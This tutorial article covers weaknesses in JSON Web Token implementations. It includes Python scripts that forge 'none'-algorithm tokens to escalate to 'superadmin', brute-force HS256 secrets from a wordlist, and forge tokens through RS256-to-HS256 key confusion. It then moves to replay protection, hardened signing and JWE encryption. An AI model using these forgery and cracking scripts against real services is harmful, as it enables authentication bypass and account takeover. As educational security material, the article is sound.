Breaking Weak Jwt Tokens With Python
JSON Web Tokens (JWTs) are widely used for authentication and authorization in web applications. While they offer many benefits, weak implementations can lead to security vulnerabilities. This article explores common weaknesses in JWT implementations and demonstrates how to exploit them using Python.
Understanding JWT Structure
Before we dive into breaking JWTs, let’s review their structure:
graph LR A[Header] --> B[Payload] B --> C[Signature] A --> D[Base64Url Encoded] B --> D C --> D
A JWT consists of three parts: Header, Payload, and Signature, each separated by a dot (.). Let’s break down each component:
- Header: Contains metadata about the token, including the algorithm used for signing.
- Payload: Contains claims or statements about the user and additional metadata.
- Signature: Ensures the integrity of the token.
Here’s an example of creating a simple JWT:
import jwt
import datetime
# Define the payload
payload = {
'user_id': 123,
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
# Secret key for signing
secret = 'my_super_secret_key'
# Create the JWT
token = jwt.encode(payload, secret, algorithm='HS256')
print(f"Generated JWT: {token}")
Common JWT Vulnerabilities
1. None Algorithm
Some JWT libraries allow the “alg” header to be set to “none”, effectively bypassing signature verification. This vulnerability can be exploited as follows:
import jwt
original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.8OG8pOq7RCy9xOq1LiTA4J2Oqi5H4aEfZXIEmwIRvEw"
# Decode the token without verification
decoded = jwt.decode(original_token, options={"verify_signature": False})
# Modify the payload
decoded['user'] = 'superadmin'
# Create a new token with 'none' algorithm
exploited_token = jwt.encode(decoded, key=None, algorithm='none')
print(f"Exploited Token: {exploited_token}")
2. Weak Secret Keys
If the secret key used to sign the token is weak or easily guessable, an attacker can forge valid tokens. Here’s a script to demonstrate a brute-force attack:
import jwt
from tqdm import tqdm
def brute_force_jwt(token, wordlist_file):
with open(wordlist_file, 'r') as f:
for secret in tqdm(f):
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"Secret found: {secret}")
return secret
except jwt.InvalidSignatureError:
continue
print("Secret not found in wordlist")
return None
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.8OG8pOq7RCy9xOq1LiTA4J2Oqi5H4aEfZXIEmwIRvEw"
wordlist = "common_secrets.txt"
brute_force_jwt(token, wordlist)
3. Key Confusion
When a system supports multiple algorithms, an attacker might be able to exploit algorithm confusion. Here’s an example of exploiting a token signed with RS256 by using the public key as an HMAC secret:
import jwt
from cryptography.hazmat.primitives import serialization
# Load the public key
with open("public_key.pem", "rb") as key_file:
public_key = serialization.load_pem_public_key(key_file.read())
# Original RS256 signed token
original_token = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"
# Decode the token without verification
decoded = jwt.decode(original_token, options={"verify_signature": False})
# Create a new token signed with HS256 using the public key as the secret
exploited_token = jwt.encode(decoded, public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
), algorithm='HS256')
print(f"Exploited Token: {exploited_token}")
4. Token Replay
If a JWT doesn’t include an expiration time or a unique identifier, it might be vulnerable to replay attacks. Here’s an example of how to mitigate this:
import jwt
import time
import uuid
def create_token_with_jti(payload, secret):
payload['jti'] = str(uuid.uuid4()) # Add a unique identifier
payload['exp'] = int(time.time()) + 3600 # Add expiration time (1 hour)
return jwt.encode(payload, secret, algorithm='HS256')
def verify_token_with_jti(token, secret, used_jtis):
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
if decoded['jti'] in used_jtis:
raise jwt.InvalidTokenError("Token has already been used")
used_jtis.add(decoded['jti'])
return decoded
except jwt.ExpiredSignatureError:
print("Token has expired")
except jwt.InvalidTokenError as e:
print(f"Invalid token: {e}")
return None
# Usage
secret = 'your_secret_key'
payload = {'user_id': 123}
used_jtis = set()
token = create_token_with_jti(payload, secret)
print(f"Generated Token: {token}")
# First use (valid)
decoded = verify_token_with_jti(token, secret, used_jtis)
if decoded:
print(f"Decoded Payload: {decoded}")
# Second use (invalid - token replay attempt)
decoded = verify_token_with_jti(token, secret, used_jtis)
if decoded:
print(f"Decoded Payload: {decoded}")
else:
print("Token replay detected and prevented")
Mitigating JWT Vulnerabilities
To protect against these vulnerabilities, consider the following best practices:
- Always verify JWT signatures
- Use strong, unique secret keys
- Implement proper algorithm validation
- Set short expiration times for tokens
- Use encryption for sensitive payload data
- Implement JTI (JWT ID) claim to prevent replay attacks
Here’s an example of a more secure JWT implementation:
import jwt
import secrets
from datetime import datetime, timedelta
def create_secure_jwt(payload, secret_key):
payload['exp'] = datetime.utcnow() + timedelta(minutes=30)
payload['jti'] = secrets.token_hex(16) # Add a unique identifier
return jwt.encode(payload, secret_key, algorithm='HS256')
def verify_jwt(token, secret_key, used_jtis):
try:
decoded = jwt.decode(token, secret_key, algorithms=['HS256'])
if decoded['jti'] in used_jtis:
raise jwt.InvalidTokenError("Token has already been used")
used_jtis.add(decoded['jti'])
return decoded
except jwt.ExpiredSignatureError:
print("Token has expired")
except jwt.InvalidSignatureError:
print("Invalid signature")
except jwt.DecodeError:
print("Token cannot be decoded")
except jwt.InvalidTokenError as e:
print(f"Invalid token: {e}")
return None
# Generate a strong secret key
secret_key = secrets.token_hex(32)
# Create a JWT
payload = {"user_id": 123, "role": "user"}
token = create_secure_jwt(payload, secret_key)
print(f"Generated Token: {token}")
# Verify the JWT
used_jtis = set()
decoded = verify_jwt(token, secret_key, used_jtis)
if decoded:
print(f"Decoded Payload: {decoded}")
# Attempt to use the same token again
decoded = verify_jwt(token, secret_key, used_jtis)
if decoded:
print(f"Decoded Payload: {decoded}")
else:
print("Token reuse prevented")
Advanced Topic: JWT Encryption
For highly sensitive data, consider using nested JWTs with encryption (JWE). Here’s an example using the python-jose
library:
from jose import jwt, jwe
import secrets
# Generate keys
encryption_key = secrets.token_bytes(32)
signing_key = secrets.token_bytes(32)
# Create a signed JWT
payload = {"user_id": 123, "role": "admin"}
signed_token = jwt.encode(payload, signing_key, algorithm='HS256')
# Encrypt the signed JWT
encrypted_token = jwe.encrypt(signed_token, encryption_key, algorithm='dir', encryption='A256GCM')
print(f"Encrypted Token: {encrypted_token}")
# Decryption and verification process
decrypted_token = jwe.decrypt(encrypted_token, encryption_key)
decoded_payload = jwt.decode(decrypted_token, signing_key, algorithms=['HS256'])
print(f"Decoded Payload: {decoded_payload}")
Conclusion
Understanding JWT vulnerabilities is crucial for both developers and security professionals. By implementing proper security measures and staying informed about potential exploits, we can create more robust authentication systems.
Remember, security is an ongoing process, and it’s essential to regularly audit and update your JWT implementation to address new vulnerabilities as they emerge. Always follow the principle of least privilege, use secure random number generators for keys and secrets, and consider additional layers of security such as rate limiting and monitoring for suspicious activities.